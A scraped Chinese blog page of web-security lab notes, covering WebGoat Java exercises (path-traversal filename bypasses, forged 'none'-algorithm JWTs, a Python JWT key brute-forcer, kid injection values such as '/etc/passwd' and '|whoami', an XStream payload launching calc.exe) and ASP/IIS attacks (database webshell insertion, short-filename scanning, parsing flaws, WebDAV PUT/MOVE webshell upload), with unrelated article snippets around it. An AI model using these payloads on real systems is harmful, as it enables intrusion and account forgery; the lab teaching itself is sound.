精华内容
下载资源
问答
  • web攻防
    2020-12-29 22:47:53

    简介

    网络攻防的练习,少不了一个充满漏洞的服务器以及相关的功能。还有就是一台安装好了各种攻击软件的机器。而这些,我们可以直接直接用虚拟机搭建出来对应的服务器。被攻击者成为靶机,攻击者称为攻击机。那么,简单介绍以下两台机子怎么安装吧。

    靶机的安装

    1. 直接用虚拟机,安装vmx文件,打开就好了。
    2. 参考:https://www.e-learn.cn/topic/3753757

    攻击机安装

    1. 我们采用的攻击服务器是kali-linux,我们可以直接去官网安装。不过,为了安装方便,版本对应完成,我们建议采用vmwave15和kali-linux 2020.4 。这个我实验是很顺利的安装好了。
    2. kali-linux安装参考:https://www.cnblogs.com/qq511314224/p/12900060.html
    更多相关内容
  • Web攻防之业务安全指南(网盘下载)-附件资源
  • Web攻防系列教程之Cookie注入攻防实战.pdf
  • WEB攻防-JavaWeb项目

    千次阅读 2022-01-13 16:54:22
    WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制 #知识点: 1、JavaWeb常见安全及代码逻辑 2、目录遍历&身份验证&逻辑&JWT 3、访问控制&安全组件&越权&三方组件

    WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制

    #知识点:
    1、JavaWeb常见安全及代码逻辑
    2、目录遍历&身份验证&逻辑&JWT
    3、访问控制&安全组件&越权&三方组件
    

    一、JavaWeb-WebGoat8靶场搭建使用

    1、资源地址

    https://github.com/WebGoat/WebGoat
    

    2、启动访问

    //启动
    java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
    //访问
    http://localhost:8081/WebGoat/login
    

    二、安全问题-目录遍历&身份认证&JWT攻击

    1、目录遍历

    (1)WebGoat Path traversal 2

    路径遍历

    路径遍历是指应用程序接收了未经合理校验的用户参数用于进行与文件读取查看相关操作,而该参数包含了特殊的字符(例如“…”和“/”),使用了这类特殊字符可以摆脱受保护的限制,越权访问一些受保护的文件、目录或者覆盖敏感数据。比如上传到只能存放图片不能执行脚本的目录,可以把上传的脚本文件等通过此漏洞上传到其他目录或根目录。

    路径(目录)遍历是攻击者能够访问或存储应用程序运行位置之外的文件和目录的漏洞。这可能会导致从其他目录读取文件,并且在文件上传覆盖关键系统文件的情况下。
    例如,假设我们有一个托管一些文件的应用程序,并且可以按以下格式请求它们:`http://example.com/file=report.pdf`现在作为攻击者,您当然对其他文件
    感兴趣,因此您可以尝试`http://example.com/file=../../../../../etc/passwd`. 在这种情况下,您尝试走到文件系统的根目录,然后进入`/etc/passwd`以
    访问该文件。
    当然,这是一个非常简单的示例,在大多数情况下,这将无法作为框架实现的控件来工作,因此我们需要更有创意并../在将请求发送到服务器之前开始编码。例
    如,如果我们对../您进行URL 编码,那么`%2e%2e%2f`接收此请求的 Web 服务器将再次将其解码为../.
    

    上传流程

    文件上传后以FullName的值命名,并存储在文件夹C:\Users\10375.webgoat-8.1.0\PathTraversal\1234567\test目录下,比目标路径多一级目录1234567,可尝试将FullName改成…/test,点击update,可将这张图片传到上级文件夹PathTraversal下。

    代码分析

        @PostMapping(
            value = {"/PathTraversal/profile-upload"},
            consumes = {"*/*"},
            produces = {"application/json"}
        )
    /*@RequestMapping 是一个用来处理请求地址映射的注解,可用于类或方法上。用于类上,表示类中的所有响应请求的方法都是以该地址作为父路径;用于方法上,表示在类的父路径下追加方法上注解中的地址将会访问到该方法。*/
    //@Responsebody 注解表示该方法的返回的结果直接写入 HTTP 响应正文(ResponseBody)中,一般在异步获取数据时使用
    //@RequestParam:将请求参数绑定到控制器的方法参数上
        @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
            return super.execute(file, fullName);
        }
    

    利用方式

    目标地址:
    C:\Users\10375/.webgoat-8.1.0/PathTraversal/
    直接提交:
    Profile has been updated, your image is available at: C:\Users\10375\.webgoat-8.1.0\PathTraversal\1234567\test"
    更改参数:
    Profile has been updated, your image is available at: C:\Users\10375\.webgoat-8.1.0\PathTraversal\1234567\test1"
    Full Name参数可控:跳一级目录即可,修改传输fullName的值为:../test
    Content-Disposition: form-data; name="fullName"
    ../test
    

    (2)WebGoat Path traversal 3

    题目描述

    The developer became aware of the vulnerability and implemented a fix which removed the ../ from the input. Again the same assignment but can you bypass the implemented fix?
    

    路径代码匹配

    提交路径:
    POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1
    对应代码路径:
    webgoat- server-8.1.0>BOOT-INF>lib>path-traversal-8.1.0.jar 〉org >owasp >webgoat>path_traversal > ProfileUploadFix
    

    代码分析

        @PostMapping(
            value = {"/PathTraversal/profile-upload-fix"},
            consumes = {"*/*"},
            produces = {"application/json"}
        )
        @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
            return super.execute(file, fullName != null ? fullName.replace("../", "") : "");//替换了../ 且单次替换
        }
    

    绕过思路

    修改test为:…\test,或者双写…/./test绕过

    Content-Disposition: form-data; name="fullNameFix"
    ..\test
    ..././test
    

    (3)WebGoat Path traversal 4

    题目描述

    The developer again became aware of the vulnerability by not validating the input of the full name input field. A fix was made in an attempt to solve this vulnerability.
    
    Again the same assignment but can you bypass the implemented fix?
    

    路径代码匹配

    提交路径:
    POST /WebGoat/PathTraversal/profile-upload-remove-user-input HTTP/1.1
    对应代码路径:
    webgoat- server-8.1.0>BOOT-INF>lib>path-traversal-8.1.0.jar 〉org >owasp >webgoat>path_traversal >ProfileUploadRemoveUserInput
    

    代码分析

        @PostMapping(
            value = {"/PathTraversal/profile-upload-remove-user-input"},
            consumes = {"*/*"},
            produces = {"application/json"}
        )
        @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
            return super.execute(file, file.getOriginalFilename());//file.getOriginalFilename()是得到上传时的文件名
    

    绕过思路

    //首先尝试对test注入点和其他注入点进行修改,其上传后的文件名都是原始文件名,于是输入框内的参数对于上传之后的文件命名是没有影响的
    Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="123QQ20220107150741.png"
    Content-Disposition中的filename的值预填为下载后的文件名,尝试修改filename的值,上传之后的文件名也跟着变化了,于是尝试在filename处修改即可
    Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="../123QQ20220107150741.png"
    

    2、身份认证

    (1)键值逻辑

    #身份认证
    -键值逻辑:使用键名键值进行对比验证错误
    -JWT攻击:1、签名没验证空加密 2、爆破密匙 3、KID利用
    https://www.cnblogs.com/vege/p/14468030.html
    

    键值对(“key = value”),顾名思义,每一个键会对应一个值。在部分网站对问题进行验证时接收键值对查询对比以判断输入正误,有以下两种情况:

    case1:
    同时接收键名键值
    s0=answer1&s1=answer2
    若数据库中不存在s3与s4构造如下发送数据并验证:
    s3= &s4= //等于空或其他值,多少视具体逻辑判断
    则因为s3,s4均为null于是判断成立,验证通过
    s3= null s4= null//输入一个为空,数据库没有返回null,然后判断成立
    
    case2:
    安全验证:固定键名,接收键值判断
    固定接收的数据: 固定键名s0 s1,然后判断发送数据
    不固定: s0 s1判断你的数据 (正常情况下)//s0 s1在数据库或者变量内
    不固定: s2 s3判断你的数据 (攻击者攻击情况下)// s2 s3不在数据库或者变量内
    
    1)WebGoat Authentication Bypasses
    身份验证绕过
    身份验证绕过以多种方式发生,但通常利用配置或逻辑中的一些缺陷。篡改以达到正确的条件。
    
    隐藏的输入
    最简单的形式是依赖于网页/DOM 中的隐藏输入。
    
    删除参数
    有时,如果攻击者不知道参数的正确值,他们可能会从提交中完全删除该参数以查看会发生什么。
    
    强制浏览
    如果站点的某个区域没有通过配置得到适当的保护,则可以通过猜测/暴力破解来访问该站点的区域。
    

    提交验证问题答案:

    secQuestion0=123&secQuestion1=123&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
    

    绕过验证:

    secQuestion10=&secQuestion11=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
    

    (2)JWT攻击

    JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。jwt由三个部分组成:header.payload.signature
    参考资源:https://www.cnblogs.com/vege/p/14468030.html
    在此流程中,您可以看到用户在服务器返回的成功验证后使用用户名和密码登录。服务器创建一个新令牌并将其返回给客户端。当客户端对服务器进行连续调用时,它会将新令牌附加到“授权”标头中。服务器读取令牌并在成功验证后首先验证签名,服务器使用令牌中的信息来识别用户。
    请添加图片描述

    1)空加密算法-加密算法

    如何判定:数据包中cookie中三部分,以.间隔 ,网站不同用户(比如注册用户与不注册用户)的cookie内容对比,判断是否为jmt。

    解密网站:jmt.io

    JWT支持使用空加密算法,可以在header中指定alg为None,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:

    {
        "alg" : "None",
        "typ" : "jwt"
    }
      
    {
        "user" : "Admin"
    }
    

    生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

    (header+’.’+payload,去掉了’.’+signature字段)

    空加密算法的设计初衷是用于调试的,但是如果某天开发人员在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。所以不要密匙去生成jmt,需要服务器支持不要密匙(空模式加密)。

    以WebGoat JWT tokens 4为例:

    当选择管理员用户Tom时传输的cookie如下:

    Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NDI4NTU4MDIsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Ki5z2E2FZO9KPQQnyF-exMwVG4pZ64n3_ORtbE76rTTdzh2Ln5eNjIyOLIVxPetkRJMsQjE4OFnm3hihP_8vlw
    

    jmt.io解密,由于不知道密钥无法通过修改admin:true的方式伪造token。
    请添加图片描述
    尝试使用空加密算法,去除signature字段,生成两段加密数据。

    eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.
    

    利用burp更改数据包Cookie发送。
    请添加图片描述

    2)爆破密钥

    有密码验证的地方,就有会爆破。JWT 密钥爆破的局限性很大,对 JWT 的密钥爆破需要在一定的前提下进行:

    • 知悉JWT使用的加密算法
    • 一段有效的、已签名的token
    • 签名用的密钥不复杂(弱密钥)

    以WebGoat JWT tokens 4为例:

    爆破后的密钥:bingo! found key --> shipping <–

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'your jmt'
        with open('top.txt') as f://字典爆破
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')
    

    输入密钥与修改用户名即可。
    请添加图片描述

    3)修改KID参数

    kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "/home/jwt/.ssh/pem"
    }
    

    因为该参数可以由用户输入,所以也可能造成一些安全问题。

    0x01 任意文件读取

    kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "/etc/passwd"
    }
    
    0x02 SQL注入

    kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "key11111111' || union select 'secretkey' -- "
    }
    
    0x03 命令注入

    kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

    "/path/to/key_file|whoami"
    

    对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

    三、安全问题-访问控制&安全组件&第三方组件

    #安全组件
    有没有引用爆过漏洞的第三方组件
    #访问控制
    -隐藏属性:前端页面的无作用限制显示 //管理员不想前端展示更多信息,但网站源码与传输的流量内容可能已经暴露了,可尝试修改信息切换到其他用户访问
    -水平越权:同一级别用户权限的查看
    

    1、安全组件

    漏洞利用并不总是在“你的”代码中

    概括:
    开源是从具有不同质量标准的许多不同存储库中获得的。
    有关漏洞的安全信息散布在各处。
    许可证信息通常难以验证。
    大多数团队没有组件升级策略。
    开源组件是新的攻击媒介。
    

    (1)WebGoat Vulnerable Components 12

    任何组件都可能存在漏洞

    <sorted-set>
      <string>foo</string>
      <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
          <target class="java.lang.ProcessBuilder">
            <command>
              <string>calc.exe</string>
            </command>
          </target>
          <action>start</action>
        </handler>
      </dynamic-proxy>
    </sorted-set>
    

    2、访问控制

    直接对象引用

    直接对象引用是指应用程序使用客户端提供的输入来访问数据和对象。

    例子

    使用 GET 方法的直接对象引用示例可能类似于

    https://some.company.tld/dor?id=12345
    https://some.company.tld/images?img=12345
    https://some.company.tld/dor/12345
    

    其他方法

    POST、PUT、DELETE 或其他方法也可能受到影响,主要只是方法和潜在的有效负载不同。

    不安全的直接对象引用

    当引用未正确处理并允许绕过授权或泄露可用于执行操作或访问用户不应执行或访问的数据的私有数据时,这些被认为是不安全的。假设作为用户,您去查看您的个人资料,并且 URL 看起来像这样:

    https://some.company.tld/app/user/23398
    

    您可以在那里查看您的个人资料。如果您导航到:https://some.company.tld/app/user/23399或在最后使用另一个数字。如果您可以操纵数字(用户 ID)并查看他人的个人资料,则对象引用是不安全的。这当然可以在 GET 方法之外检查或扩展以查看数据,但也可以操作数据。

    (1)WebGoat Insecure Direct Object References 2

    许多访问控制问题容易受到经过身份验证但未经授权的用户的攻击。换句话说(正如您在客户端过滤课程中可能已经注意到的那样),原始响应中的数据通常不会显示在屏幕/页面上。(隐藏属性),管理员不想前端展示更多信息,但网站源码与传输的流量内容可能已经暴露,可尝试修改信息切换到其他用户访问得到更多信息。

    请添加图片描述

    四、总结

    1、目录遍历:可越权访问一些受保护的文件、目录等信息,可执行脚本可以通过目录遍历将其放置于具有执行脚本功能的文件夹执行;

    2、身份认证:键值逻辑:键名是否带入查询,若查询对比可构造数据库不存在的键名绕过;

    3、JMT攻击:利用jmt进行攻击,受限于密钥是否已知;

    4、安全组件:漏洞利用并不总是在“你的”代码中,任何组件都可能存在漏洞;

    5、访问控制:部分验证或传输方式将部分参数隐藏起来,相当于前端验证,可尝试修改参数内容越权访问。

    6、javaweb架构:url地址《=》源码文件 包查找到文件,可对应代码去看。

    展开全文
  • Web攻防基础入门.pdf

    2021-06-06 09:47:35
    攻防基础
  • AWVS最新版,web攻防初级必备工具
  • WEB攻防-ASP安全

    千次阅读 2022-01-07 15:35:08
    WEB攻防-ASP安全 一、ASP安全&MDB下载植入&IIS短文件名&写权限&解析 #知识点: 1、ASP环境搭建组合 2、ASP-数据库下载&植入 3、IIS-短文件&解析&写权限 核心点:关注于该语言开发的特性...

    WEB攻防-ASP安全

    一、ASP安全&MDB下载植入&IIS短文件名&写权限&解析

    #知识点:
    1、ASP环境搭建组合
    2、ASP-数据库下载&植入
    3、IIS-短文件&解析&写权限
    核心点:关注于该语言开发的特性漏洞,通用性漏洞不区分语言
    

    1、ASP-环境搭建组合

    windows iis asp access/sql server

    iis中间件***

    asp开发源码漏洞***

    数据库安全问题:较少

    windows安全漏洞:较少

    2、ASP-数据库-MDB默认下载

    access数据库一般后缀名mdb(下载)、asp 、asa (执行解析)

    mdb文件在网站目录下,思路:如果知道数据库的地址,可尝试下载获取数据库文件,获取当前管理员账号密码信息。

    默认下载:使用asp+access数据库,却不修改默认mdb地址。IIS不能解析MDB文件,当成普通文件下载。(文件服务器端不会解释,客户端浏览器也不会解释,所以就下载到本地。)

    思路:位置地址:如果没有修改默认数据库文件位置可尝试默认数据库配置(即本地搭建后默认存放的数据库文件与其他文件位置(比如admin后台管理页面等),没修改。)或采用扫描

    IIS 5.x/6.0解析漏洞
    
    目录解析:在网站下建立文件夹的名称中带有.asp,.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行。
    
    http://www.xxx.com/xx.asp/xx.jpg
    
    文件解析:在IIS6.0下,分号后面的不被解析,也就是说6.0下,分号后面的不被解析,也就是说xx.asp;.jpg将被当做xx.asp解析并执行。http://www.xxx.com/xx.asp;.jpg 在文件改名时也可以尝试 xx.asp;jpg
    
    IIS6.0 默认的可执行文件有asp、asa、cer、cdx四种。
    
    注意:这两个漏洞,是需要在服务器的本地硬盘上确实存在这样的文件或者文件夹,若只是通过web应用映射出来的Url,则是无法触发的。
    

    IIS6.0把asp、asa、cdx、cer解析成asp文件,原因是这四种扩展名都是用的同一个asp.dll文件来执行。而对于mdb:IIS不能解析MDB文件,当成普通文件下载。
    在这里插入图片描述
    以动易网络cms为例:若使用动易网络cms的网站不修改默认数据库及其他文件路径可通过默认路径得到数据库文件进而得到网站管理员账号密码,对于网站管理员后台也可采用同样的思路。

    http://192.168.49.146/Database/PowerEasy2006.mdb
    http://192.168.49.146/Admin/Admin_Login.asp
    

    3、ASP-数据库-ASP后门植入连接

    数据库是asp,asp可解析,向asp数据库文件写入一句话木马可以直接连上去,此时访问数据库文件将会被服务器当成代码文件执行,所以图片里面的代码就会被执行。

    以aspcms为例:

    aspcms主要是信息发布系统,数据库默认配置为asp,目录在/data/data.asp下。

    漏洞成因:在留言板处对信息处理不当,导致代码注入。可直接将一句话木马插入数据库。

    利用方法:保证默认数据库路径未更改且可留言。

    ┼攠數畣整爠煥敵瑳∨≡┩愾
    

    菜刀测试效果:
    在这里插入图片描述

    4、ASP-中间件-IIS短文件名探针-安全漏洞

    为兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。

    在Windows下查看对应的短文件名,可以使用命令 dir /x

    由于短文件名的长度固定,可直接对短文件名进行暴力破解,从而访问对应的文件。

    短文件名特征:

    \1)  只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
    
    \2)  后缀名最长只有3位,多余的被截断。
    
    \3)  访问构造的某个存在的短文件名,会返回404
    
    \4)  访问构造的某个不存在的短文件名,会返回400
    

    漏洞局限性:

    1)   只能猜解前六位,以及扩展名的前3位
    
    2)   名称较短的文件是没有相应的短文件名
    
    3)   需要IIS和.net两个条件都满足
    

    漏洞利用:

    需要使用到通配符。在windows中,可以匹配n个字符,n可以为0。判断某站点是否存在IIS短文件名暴力破解,构造payload
    

    用途:

    探针网站目录结构,可探针数据库或后台地址。利用工具:iis_shortname_Scan.py
    

    以aspcms为例:

    E:\python2.7>python2.exe ./IIS_shortname_Scanner-master\IIS_shortname_Scanner-master/IIS_shortname_Scan.py  http://192.168.49.146:81/
    Server is vulnerable, please wait, scanning...
    [+] /a~1.*      [scan in progress]
    [+] /p~1.*      [scan in progress]
    [+] /t~1.*      [scan in progress]
    [+] /ad~1.*     [scan in progress]
    [+] /pr~1.*     [scan in progress]
    [+] /te~1.*     [scan in progress]
    [+] /adm~1.*    [scan in progress]
    [+] /pro~1.*    [scan in progress]
    [+] /tem~1.*    [scan in progress]
    [+] /admi~1.*   [scan in progress]
    [+] /prod~1.*   [scan in progress]
    [+] /temp~1.*   [scan in progress]
    [+] /admin~1.*  [scan in progress]
    [+] /produ~1.*  [scan in progress]
    [+] /templ~1.*  [scan in progress]
    [+] /admin_~1.* [scan in progress]
    [+] /produc~1.* [scan in progress]
    [+] /templa~1.* [scan in progress]
    [+] /admin_~1   [scan in progress]
    [+] Directory /admin_~1 [Done]
    [+] /produc~1   [scan in progress]
    [+] Directory /produc~1 [Done]
    [+] /templa~1   [scan in progress]
    [+] Directory /templa~1 [Done]
    ----------------------------------------------------------------
    Dir:  /admin_~1
    Dir:  /produc~1
    Dir:  /templa~1
    ----------------------------------------------------------------
    3 Directories, 0 Files found in total
    Note that * is a wildcard, matches any character zero or more times.
    

    5、ASP-中间件-IIS文件上传解析-安全漏洞

    IIS6.0解析漏洞

    在 Windows 2003 IIS 6.0 下有两个漏洞,IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式,这就引发了IIS目录解析漏洞和文件名解析漏洞。

    IIS目录解析漏洞

    对于名字为.asp后缀的文件夹,IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。

    IIS文件名解析漏洞

    对于名字诸如a.asp;.jpg文件,IIS并非以最后一个后缀名来判断格式,故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。

    IIS6.0 默认的可执行文件除了asp还包含asa\cer\cdx这三种。

    //文件名解析
    http://192.168.49.146:81/a.asp;.jpg
    //文件目录解析
    http://192.168.49.146:81/a.asp/1.jpg
    

    6、ASP-中间件-IIS配置目录读写-安全配置

    在web服务扩展中开启了WebDAV,配置了可以写入的权限,存在PUT任意文件写入漏洞。

    利用方式:桂林老兵iiswrite,用PUT / MOVE 之类的请求方式往服务器传后门文件,然后改文件名使用菜刀连接。
    在这里插入图片描述
    以本地搭建的web网站为例:

    (1)开启WebDAV与写入权限,使用iisputscanner扫描
    在这里插入图片描述
    (2)使用桂林老兵iisWriter上传webshell到服务器,首先上传一个txt文件,上传之后再重命名为asp文件。

    第一步:选择PUT上传webshell,后缀为txt,然后提交数据包,会在服务端上传一个test.txt文件:
    在这里插入图片描述
    第二步:test.txt无法被iis解析,利用MOVE将txt的文件修改为可解析执行的asp,但是直接上传失败,利用文件解析漏洞再次上传成功。
    在这里插入图片描述
    第三步:使用中国菜刀连接成功
    请添加图片描述

    7、总结

    web攻防:大部分集中在前两个

    1、web源码***

    2、开发语言***

    3、中间件平台(和某些漏洞配合)

    4、数据库类型

    5、第三方插件或软件

    展开全文
  • 御剑1.5版本
  • Web攻防实验报告

    2015-01-24 22:41:53
    Web攻防实验报告,设计WebGoat攻击和预防以及XSS攻击预防的详细实验步骤,了解Web攻防原理
  • 这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主服务器因意外... 3.4、使用站长工具 https://tool.chinaz.com/dns/ 四、网站信息收集 4.1、收集web服务器信息 火狐插件: Netcraft Extension Wappalazer

            在收集DNS信息的时候,主要关注域名注册商,管理员联系方式,电话和邮箱,子域名等信息。

    一、whois查询

    whois是一个集成在kali中的小工具,可以用来查询域名注册信息

    也可以通过站长之家进行whois查询https://whois.chinaz.com/

    二、域传送漏洞

          DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的数据库。

          这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主服务器因意外故障变得不可用时影响到真个域名的解析。

          一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误的配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送(zone transfer)操作是后果最为严重的错误配置之一。

    三、常用的域名解析工具(kali)

    3.1、dig工具

    命令:dig @8.8.8.8 testfire.net

    解释:可以用@指定dns服务器,不填默认使用本地dns服务器

    3.2、nslookup工具

    命令:nslookup testfire.net

    3.3、dnsenum工具(推荐)

    dnsenum工具在解析域名的时候会自动检测域传送漏洞。

    3.4、使用站长工具

    https://tool.chinaz.com/dns/

    四、网站信息收集

    4.1、收集web服务器信息

    火狐插件:

    Netcraft Extension

    Wappalazer

    展开全文
  • WEB攻防渗透技术

    2019-01-31 21:03:18
    渗透 技术Web安全攻防渗透测试实战指南-converted\gaedavr
  • Web攻防——Java

    千次阅读 2022-02-04 20:50:58
    Web攻防——Java Webgoat靶场搭建 解压缩jar包、IDEA反编译jar包 分析文件上传 JWT安全(一般在JAVA、Python中使用JWT):空加密算法、密钥爆破、kid攻击 安全组件:引用了哪些,对应版本漏洞 List item ...
  • web攻防世界7-12

    千次阅读 2022-04-19 18:14:43
    攻防世界新手关
  • 链接:https://pan.baidu.com/s/1BHYV8iqHd4HftFmZ69VajA 提取码:jtug
  • WEB攻防必备三十节课

    2013-03-20 13:12:11
    里边是百度网盘链接 一共三十节课 主要针对WEB攻防 实力入侵
  • burp suite的使用教程今天先不讲,之后我会搞一期功能合集,详细讲解用法,今天单独讲解爆破弱密码的使用。 使用该爆破模式存在诸多前提,列如不能存在绕不过的验证码,或者目标网站有访问频率限制,或者目标...
  • WEB攻防的介绍教程

    2009-12-04 13:18:58
    WEB攻防的介绍教程WEB攻防的介绍教程WEB攻防的介绍教程
  • Web攻防系列教程之浅析PHP命令注入攻击
  • Web安全攻防

    千次阅读 2022-04-05 11:04:12
    第四章 web安全剖析 SQL注入就是指web应用程序对用户输入数据合法没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作 下面以PHP为例 ...
  • 文章目录 一、文件共享服务端口 二、端口远程连接服务 三、web应用服务端口 四、数据库服务端口 五、邮件服务端口 六、网络常见... 该内容大部分借鉴web安全攻防和各大网络内容,内容挺详细的,若有冒犯,请及时告知!
  • web安全攻防渗透测试实战指南

    千次阅读 2022-04-05 22:10:55
    (特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性 ② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全. ③ 一般出现...
  • 基础入门-web安全攻防

    2021-08-02 22:38:45
    在线闯关练习: 墨者学院:https://www.mozhe.cn/ i春秋ctf:https://www.ichunqiu.com/battalion 攻防世界:https://adworld.xctf.org.cn/ 2、SQL注入判断 SQL注入漏洞的产生需要满足以下两个条件: 参数可控:...
  • Web安全攻防渗透

    2022-04-07 22:39:15
    1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 ...– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 ...nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) ...
  • 前提:A地为靶机,B为攻击机,防火墙布置在A连接外网处 1、在A地和B地的PC上分别安装好xhack工具,深圳的PC为靶机,长沙的PC为攻击机; 检测xhack连通性(靶机映射地址) 2、在A的AF上配置用户和业务的安全防护策略...
  • 2020毕设-网络安全类-2021毕设可用+论文(可加环境+开题报告+答辩过程)
  • 网络攻防对抗中,通过漏洞扫描来获取,目录架构、已知漏洞等信息,通过已知漏洞对目标进行渗透测试,结合个人经验,极有可能拿下后台管理权限。所以说漏洞扫描利用及分析是攻防对抗中非常关键的技术。掌握这些技术...
  • 常见六大Web安全攻防解析

    千次阅读 多人点赞 2019-06-26 12:42:19
    前言 在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本文主要侧重于分析几种常见...跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏...
  • Web攻防——各脚本语言特有漏洞总结之ASP 脚本语言 ASP ASPX PHP JAVA Python JavaScipt 通用安全漏洞 ASP 常见搭建组合:win+iis+asp+access(sqlserver) IIS搭建网站 IIS中间件 网站源码和组件 IIS配置站点 ...
  • 攻防世界 web进阶区 easytornado Tornado 框架的漏洞利用

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 19,426
精华内容 7,770
关键字:

web攻防

友情链接: KLM900.rar